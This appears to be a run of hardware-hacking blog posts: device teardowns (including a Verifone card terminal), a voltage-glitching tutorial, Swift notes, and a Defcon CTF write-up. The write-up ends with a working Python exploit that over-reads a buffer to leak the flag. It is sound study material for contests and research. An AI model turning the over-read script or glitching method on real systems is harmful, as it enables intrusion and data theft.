Teardown: E-Mods RS-1 handheld game

I recently bought a cheap NES-knockoff handheld off Amazon for $15.99 to tinker with, pull apart, and eventually reverse the flash image.

The initial teardown showed an unsurprisingly simple collection of components; amongst a small handful of SMT caps & resistors and switches of a few varieties is the LCD screen, an audio chip, an epoxy blob hiding the main processor, and finally a flash 128 Mbit flash chip.

OLYMPUS DIGITAL CAMERA
The glorious E-mods RS-1
OLYMPUS DIGITAL CAMERA
Case open, +ve wire already snapped off at solder joint
OLYMPUS DIGITAL CAMERA
Front side showing LCD
OLYMPUS DIGITAL CAMERA
The fun bits – 56 pin TSOP Flash & the main processor 
flashchip
The 128GBit NOR flash chip

The datasheet for the flash chip is here

In order to see what I might be up against trying to sit a logic analyzer on the flash data bus, I had a poke with my scope and saw the string of obvious initial boot reads followed by periodic read/writes at the menu screen.

DS1Z_QuickPrint3
Chip Enable line on the flash chip

Taking a closer look at the signal, it all seems fairly slow with nothing over 500kHz, easily sniffable even with a low-end logic analyzer.

DS1Z_QuickPrint1
Access to the flash chip was relatively slow

The next step will be to pull the flash chip and dump the contents.

Glitching 101: modifying code execution paths using only voltage

Intro

Take a look at this simple code:

ctr = 0; 
for(i=0; i<500; i++){
   for(j=0; j<500; j++){
     if (j % 100 == 0) {
       ctr++;
     }
   }
 }

At the end of this execution, there should only be one feasible value of ctr: 2500. The program takes no other input that could cause any deviations from a straightforward series of instruction executions and a very predictable output.

Moving away from theoretical execution to actual hardware, you’d likely still expect the same answer, despite infinitely complicated operating systems and layers upon layers of abstraction at the hardware layer.

What follows is a very basic introduction to the idea that intentionally manipulating only the voltage of a microprocessor can affect the outcome of very simple arithmetic and logic in moderately repeatable and sometimes controllable ways.

This is far from new material; glitching was used to unlock the Xbox360 (among other things) and has already been covered extensively in prior research. This is an attempt to get hands-on for minimal startup cost and effort – an Arduino Uno and a $21 FPGA.

The Plan

There are a number of invasive and non-invasive attacks that attempt to disrupt a chip; the two most simple being clock and power glitching. We’re going to go with power glitching, where we’ll simply drop the voltage supplied to the microcontroller for a very brief period of time, quickly raise it back up to operating voltage again and see what happens.

This is going to be very random and not particularly well targeted – we’re not trying to pull off an incredible feat of hacking but instead just demonstrate the correlation between tinkering with Vcc and code execution paths. We’re not even going to try the glitch and a particular time; we’ll just keep doing it and watch what happens.

Digital logic circuits tend to operate at very high speeds; clocks in the MHz and up range mean that somewhat specialized tools are required for interacting with these devices. Oscilloscopes and Logic Analyzers are typical go-to tools for observing signals inside a digital circuit, but we actually want to be sending signals, not just reading.

For this, we’ll use a Field Programmable Gate Array. It’s essentially a chip that we can wire up as a digital circuit however we like, and have it run at full silicon speed. The tool used here is an iCEstick by Lattice Semiconductor which comes in at a fairly affordable $21 and just plugs straight into USB. Even better, there’s a fully open-source toolchain which makes setup really easy and lightweight. The FPGA can be programmed using a schematic editor or via a Hardware Description Language (HDL); I’m going to write the very tiny amount of required HDL code in Verilog.

Test Setup

The hardware setup is incredibly simple: we load the target code up to the arduino and remove the ATmega AVR chip onto a breadboard. The breadboard is used so we can get inline with the actual power supply wires, where we’ll drop in a transistor to give us the ability to turn power on and off.

That transistor will be driven from an output on the FPGA, which will be loaded up with some simple Verilog code to create an output signal that goes low for a brief period of time on a regular basis. The FPGA will be switching the AVR power supply on and off as it chooses, and given the 12MHz clock of the FPGA, will allow very fine grained glitch pulses down to the low hundreds of nanoseconds (1/1,000,000,000 of a second).

Make sure you’ve loaded up the Arduino code in the IDE and uploaded it to the Arduino. Check the Serial Monitor to make sure it’s sending regular messages which look something like:

500 + 500 = 1000 ctr: 2500

Here’s a diagram of how the hardware should be wired up:

img_2cadc0c76b7a-1

The only components other than a bunch of connector wires are a transistor and a resistor. I’m no electrical engineer, so I just found a P2N2222A and a 560Ω resistor and they seem to work. I have no idea if the resistor is even required; but it works.

When shifting the AVR from its Arduino socket to the breadboard, a few pins can be wired directly: 20 (AVCC), 2 & 3 (for serial IO), 7 (VCC), and 9 & 10 for clock signal.

The glitch signal coming from J1_1 on the FPGA connects into the base of the transistor via the resistor, while one side of the transistor is hooked up to the MCU’s GND, and the other to the FPGA’s own GND.

It may look something like this:

img_4431
Glitch Setup: Arduino with ATmega328p being glitched by an iCEstick FPGA.

Now it’s time to program the FPGA. If you follow the guide here, you should be able to have the prereq toolchain up and running very easily (I’m on Ubuntu 16.04 and it was a walk in the park). You should be able to build and upload the blink.v Verilog with a simple ‘make’ in the code directory. If you’re suspecting it’s called blink.v because it was my first ever Verilog project and started out as blinking an LED, you’d be one hundred percent correct.

Results

With any luck, you’ll see the debug output being sent back to the Arduino IDE Serial Monitor (or whatever you’re using to keep tabs on the serial IO). Instead of the correctly calculated values, you should see something more like:

500 + 500 = 1000 ctr: 2500
500 + 500 = 1000 ctr: 2501
500 + 500 = 1000 ctr: 2499
500 + 500 = 1000 ctr: 3044
500 + 500 = 1000 ctr: 4000
500 + 500 = 1000 ctr: 2500
500 + 500 = 1000 ctr: 2500
500 + 500 = 1000 ctr: 2500
500 + 500 = 1000 ctr: 2500
500 + 500 = 1000 ctr: 2500
500 + 500 = 1000 ctr: 2154
500 + 500 = 1000 ctr: 2000
500 + 500 = 1000 ctr: 2379
500 + 500 = 1000 ctr: 2500
500 + 500 = 1000 ctr: 500
500 + 500 = 1000 ctr: 500
500 + 500 = 1000 ctr: 500
500 + 500 = 1000 ctr: 1871
500 + 500 = 1000 ctr: 1500
500 + 500 = 1000 ctr: 1500
500 + 500 = 1000 ctr: 1500
500 + 500 = 1000 ctr: 11252

Glitching (in particular in this manner) can have a fair degree of randomness, so output can vary wildly. You can also expect some poorly timed glitches to cause the AVR to fully reset.

What’s fascinating about this is the manner in which the processor typically continues normal execution just fine, but with particular data or instructions not as they should be. This type of manipulation can and regularly is honed into a much more precise attack to extract data or exploit hardware to gain access, as seen plenty previously.

The Verilog code as it is has a major drawback; the timing values are hardcoded and the programming step takes a significant amount of time. If you’re not seeing any results, the GLITCH_DURATION variable can be modified; a higher value means the AVR power will be dropped for longer and should increase the chances of an adverse effect, but could also result in a full reset.

Getting started with BlueSocket and SPM

I recently had a need for regular TCP sockets in Swift on macOS, and unfortunately my go-to iOS socket library, SwiftSocket, is iOS only. A quick peruse of cocoapods.org showed a significant lack of other options.

I then found BlueSocket by IBM (?!), which appeared to do roughly what I was after. Unfortunately, BlueSocket doesn’t use Cocoapods but instead Apples own Swift Package Manager, which has a significant lack of documentation and like Swift itself, changes week-to-week.

Fundamentally this is very straight-forward, but worth documenting here because it doesn’t appear to be elsewhere. This was done on:

  • Xcode 8.1
  • Swift 3.0.1

First, we create a new Xcode project called BasicBlueSocket targeting a Command Line Tool for macOS in swift.

screenie001

Now we need Swift Package Manager to come on board and get our dependency: BlueSocket.

Close Xcode and create the following file, named Package.swift in the root directory of our project folder:

import PackageDescription
let package = Package(
    name: "BasicBlueSocket",
    targets: [],
    dependencies: [
        .Package(url: "https://github.com/IBM-Swift/BlueSocket.git",
                 majorVersion: 0),
    ]
)

Now, open a Terminal and browse to the root of your project directory, where this file is located, and run: swift package generate-xcodeproj.

You should see SPM grab the required code from github and re-jiggle your folder structure:

screenie002.jpg

If you now open BasicBlueSocket.xcodeproj, you’ll be able to go ahead and import Socket – the code library for easy sockets is now available.

We can test that we have BlueSocket up and running with the following code:

import Foundation
import Socket
print("I want a socket")
var socket: Socket
let webRequest = "GET / HTTP/1.1\r\nHOST: 127.0.0.1\r\n\r\n"
var responseData = ""
var data: Data = Data()
do {
    socket = try Socket.create()
    try socket.connect(to: "127.0.0.1", port: 9999)
    try socket.write(from: webRequest)
    let result = try socket.read(into: &data)
    let response = String(data: data, encoding: String.Encoding.utf8)
    print(response ?? "No Response Data")
} catch {
    print("ruh-roh")
}

If you then run python -m SimpleHTTPServer 9999 in a Terminal and run the project, you should see a web request arrive in the python terminal, and the response show up in Xcode. Voila! easy sockets thanks to BlueSocket and SPM.

teardown: Verifone vx570 card terminal

The following is a disassembly of a working Verifone Vx570 I scored off ebay for $20. The switch that sits behind the spring-loaded LCD display had already been tripped before I received it, meaning that it had switched into recovery mode.

The device has a large number of components, with roughly 28 IC’s and a number of physical ports as well:

  • USB
  • RS232
  • Ethernet
  • Modem
  • Pin Pad

The following IC’s can easily be identified:

dsc_0294dsc_0295dsc_0297dsc_0296dsc_0299dsc_0298dsc_0309dsc_0300dsc_0308dsc_0306dsc_0305dsc_0310dsc_0311dsc_0313dsc_0316dsc_0314dsc_0307dsc_0312dsc_0315photo-on-30-10-2016-at-7-04-pmphoto-on-30-10-2016-at-7-05-pmphoto-on-30-10-2016-at-7-08-pmphoto-on-30-10-2016-at-7-08-pm-2photo-on-30-10-2016-at-7-08-pm-4photo-on-30-10-2016-at-7-09-pm-2photo-on-30-10-2016-at-7-09-pmphoto-on-30-10-2016-at-7-10-pmphoto-on-30-10-2016-at-7-10-pm-2photo-on-30-10-2016-at-7-10-pm-3photo-on-30-10-2016-at-7-11-pm-4photo-on-30-10-2016-at-7-11-pm-5photo-on-30-10-2016-at-7-12-pmphoto-on-30-10-2016-at-7-12-pm-2photo-on-30-10-2016-at-7-13-pm-2photo-on-30-10-2016-at-7-03-pm-3photo-on-30-10-2016-at-7-13-pmphoto-on-30-10-2016-at-7-11-pm-3photo-on-30-10-2016-at-7-11-pm-2photo-on-30-10-2016-at-7-11-pmphoto-on-30-10-2016-at-7-08-pm-3photo-on-30-10-2016-at-7-07-pmphoto-on-30-10-2016-at-7-06-pmphoto-on-30-10-2016-at-7-05-pm-2photo-on-30-10-2016-at-7-03-pmphoto-on-30-10-2016-at-7-02-pm

teardown: Garmin Nuvi 2559LM

I’ve had a spare Garmin GPS unit kicking about that I had no particular use for, so decided to pull it apart and look at how it might be hackable. These are largely notes for my own future reference.

The core components are:

  • A 3.7v 930mAh rechargeable Li-ion battery (part # 361-00035-01)
  • A DFD050V1-PFLW 5″ LCD touch screen. These seem to be fairly common, available on ebay and other places.
  • A square ceramic device labeled g393 – presumably a gps antenna
  • A USB Mini socket
  • A speaker
  • A microphone
  • SNI2065850 BZCE 3BAQNYW – unidentified square BGA chip; I’d hazard a guess this is the main SoC, via process of elimination.
  • A winbond w971gg6jb25 1Gbit DDR2 SD RAM chip (datasheet)
  • An unidentified chip labeled SNA9033 A2 TI 3CI AHZJ G4
  • A TI AIC3120 Audio chip (datasheet)
  • A samsung klm8g1we4a-a001 8GB NAND flash memory
  • An unidentified NL5500L chip
  • A MicroSD slot

Select source code for this device has been released by Garmin as part of GPL obligations, and no real surprises it includes the linux kernel:

Having a look through the kernel patches, TCC9201 shows up. A quick google suggests this may be a Telechip ARMv11 processor that has indeed shown up in other garmin products. This is likely the unidentifiable BGA IC.

Circuit board notes:

  • There are quite a few test points, although none stand out as obvious UART or JTAG.
  • There is an PCB antenna, most likely for bluetooth.
  • There are a few unpopulated pads, in row formation as well as quad and DIP.

Attack surface:

  • Desoldering the BGA flash chip doesn’t appeal as it’d destroy the device.
  • I plan to look at each of the test points with a scope to see if we get lucky with any serial or other interfaces. Perhaps a JTAGulator against groups of TP’s as well.
  • Garmin have Windows & OSX applications for updating the firmwares and map information on these devices, which may be an interesting way to communicate or write a different flash image to the unit.
  • It may be worth interfacing via Bluetooth, although I’m not sure whether it is used for anything more than just as a handsfree audio device to a mobile.

Photos:

p9250022p9250021p9250023p9250024

 

swift overflow detection

The swift programming language takes a few steps forward for security in a number of areas over it’s predecessor Objective-C, which itself is a lot less of a footgun by design than C/C++.

One feature it has is by-default wrapping prevention for it’s Int values. The following code in Swift will cause an exception – you’ll break in a debugger or simply terminate the entire app if you’re running on iOS:

var i:Int8 = 100
i = i + 30

How does this work under the covers? The following screenshots from hopper show us a disassembly of the compiled binaries, in x64 and ARM.

swift_x64_2

In the above x64 disassembly, the constant 0x14 (20) is added to the low 8 bits of RAX (AL). The SETO instruction then sets the R8 register (R8B) conditionally if the previous ADD has caused an overflow. This value is then tested using TEST, and finally causes a conditional Jump to 0x100001532 if TEST showed R8 having been set (IE, there was an overflow).

The resulting jump if there has been an overflow is simply to UD2 – UnDefined instruction; raise an invalid opcode exception.

swift_overflow_arm

ARM follows a fairly similar path, with B.VS conditionally jumping based on overflow being set, branching out to a BRK; trigger a debug breakpoint.

Interestingly, both ARM and x64 in particular places use a full 64-bit register which is still capable of catching an overflow condition when the Swift data type is Int8 (IE triggers exception when incremented beyond 127) This likely is necessary to be synthesized on ARM due to a lack of access to lower 16 and 8 bits.

Defcon CTF Quals 2016: xkcd

After a friday at work, I took the subway home to have a nights rest before the weekend I intended to spend hacking on the defcon qualifier challenges. I got home and jumped on my laptop – the competition started at 8pm NYC time thanks to timezone differences, so thought I’d see what was likely to be lined up in terms of challenges.

Logging into the legitBS site, I noticed a few Baby’s First challenges available, so I clicked through each having a look at what they might entail. The last was named xkcd, and being a fan of the comic I took a look.

http://download.quals.shallweplayaga.me/be4bf26fcb93f9ab8aa193efaad31c3b/xkcd

xkcd_be4bf26fcb93f9ab8aa193efaad31c3b.quals.shallweplayaga.me:1354

Might want to read that comic as well… 1354

The XKCD comic is this one: https://xkcd.com/1354/

So, the challenge likely has something to do with reading memory. I decided to take quick look at the binary to see what might be involved, and a while later I’d solved it.

First off, I ran file on the binary to see what it likely was:

rook:defcon_ctf tecnik$ file ~/Downloads/xkcd
/Users/tecnik/Downloads/xkcd: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, not stripped

Much to my happiness, not some less-common architecture or highly packed binary. Not even stripped. I decided to take a peek in IDA..

The program was very small, with only a few basic blocks in the main function.

001_main_crop

In the above block of code we call setvbuf() for stdout and stdin, call bzero() on a buffer which points to a location in which we eventually read our flag (annotated here as ‘flag_buf’) to clear the memory, and then open a file whose name is ‘flag’. In the last line we test whether the open was a success or not.

I followed along to see what happens with the opened flag file.

002_file_open

If the fopen64() call succeeds, 0x100 bytes (256) is read from the ‘flag’ file into the .bss segment buffer pointed to by flag_buf. Nothing interesting happens if the fopen64() of the flag file fails.

Following the fread(), we drop into this block:

003_next_block

The first call is to fgetln() which reads data from stdin, with a pointer to the read data returning in the rax register. This is fed into strtok() to grab the first token leading up to the ‘?’ character.

A call to a function which (I confess I didn’t look at but made too much sense) looked like strcmp() checked that the first token from fgetln() matched “SERVER, ARE YOU STILL THERE”. If it’s not, we exit.

This is where I remembered the XKCD comic (https://xkcd.com/1354/). The comic repeatedly uses the following string to demonstrate a request to a remote server:

SERVER, ARE YOU STILL THERE? IF SO, “POTATO” (6 LETTERS)

On to the next block of code:

004_next

Here, we perform another strtok(), sending in NULL as the buffer pointer, signifying we’re continuing along the string, but this time looking for a ” character as the end of token.

We strcmp() this against ” IF SO, REPLY “, which perfectly matches our xkcd cartoon. Again, if this string doesn’t match, the program sends back an error message (MALFORMED REQUEST) and bails out.

The program performs another strtok(), this time collecting all the data leading up to the ” character again. A pointer to this token string is put on the stack and we also run a strlen() across it to see how long it is.

The next call is to memcpy(), and we’re copying the tokenized string that existed between the two ” characters into a global buffer known in this binary as ‘globals’. The length we memcpy() is taken from the previous strlen.

The next call out is to strtok() again, this time we’re grabbing the string that exists leading up to the ( character. As you’ll see in the final screenshot, that string is discarded – we’re just moving along.

Final basic block:

005_final

The subsequent strtok() call reads everything up until a ) character is encountered. The call following this is to __isoc99_sscanf(), which is using our token value as input, a scanf string of ‘%d LETTERS’ as a format specifier, and a single pointer into our stack frame as the destination of integer read specified in the format string.

Or more simply, we’re grabbing the 6 from (6 LETTERS) as per the xkcd cartoon.

Whatever number value we send in as the LETTERS variable is then used to pop a NULL into the globals buffer to terminate the string.

Finally, we run a strlen of our globals buffer. If the length we’ve specified in the LETTERS variable is equal or less than the data we put in the globals buffer, we jump to a block which calls puts() to print out the globals buffer. If we’ve put a larger value in in LETTERS than the length of the data in globals, an error message ‘NICE TRY’ is printed.

At this point I start testing against the remote hostname we were given, sending the following payloads:

> SERVER, ARE YOU STILL THERE? IF SO, REPLY “POTATO” (6 LETTERS)
< POTATO
> SERVER, ARE YOU STILL THERE? IF SO, REPLY “POTATO” (3 LETTERS)
< POT
> SERVER, ARE YOU STILL THERE? IF SO, REPLY “POTATO” (10 LETTERS)
< NICE TRY
> CHOCOCOLATE FISH
< MALFORMED REQUEST

Interesting. Being such a small binary mean that the answer was likely pretty straight-forward.

— Burger and whiskey break —

Ok, so in order to hit the puts() call and print out data, we need to ensure the last jump is taken, meaning that the LETTERS value we send in cannot be more than the length of the globals buffer. We control where the NULL is written into the globals buffer, so as long as there are no other NULL values, we can read as long as we want.

The problem is, the buffer has 256 bytes of bzero()’d data. But what lies beyond?

Taking a look in IDA, we see that right after the globals buffer is the ‘flag_buf’ we read in earlier. Excellent.

If we send in enough data to fill up the globals buffer so that it flows directly on to the flag buffer, then request a length via the LETTERS variable that exceeds the data we sent, we should be able to over-read. I tried it using the following python code:


#!/usr/bin/env python
import socket
import sys
BUFLEN=512
s1 = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s1.connect(('xkcd_be4bf26fcb93f9ab8aa193efaad31c3b.quals.shallweplayaga.me',1354))
send_str = 'SERVER, ARE YOU STILL THERE? IF SO, REPLY "'+('A'*BUFLEN)+'" (540 LETTERS)\n'
s1.send(send_str)
resp = s1.recv(1024)
print resp[BUFLEN:]

And sure enough:


rook:defcon_ctf tecnik$ ./xkcd.py
The flag is: bl33ding h34rt5

I jumped back on the LegitBS panel and popped it in for the win.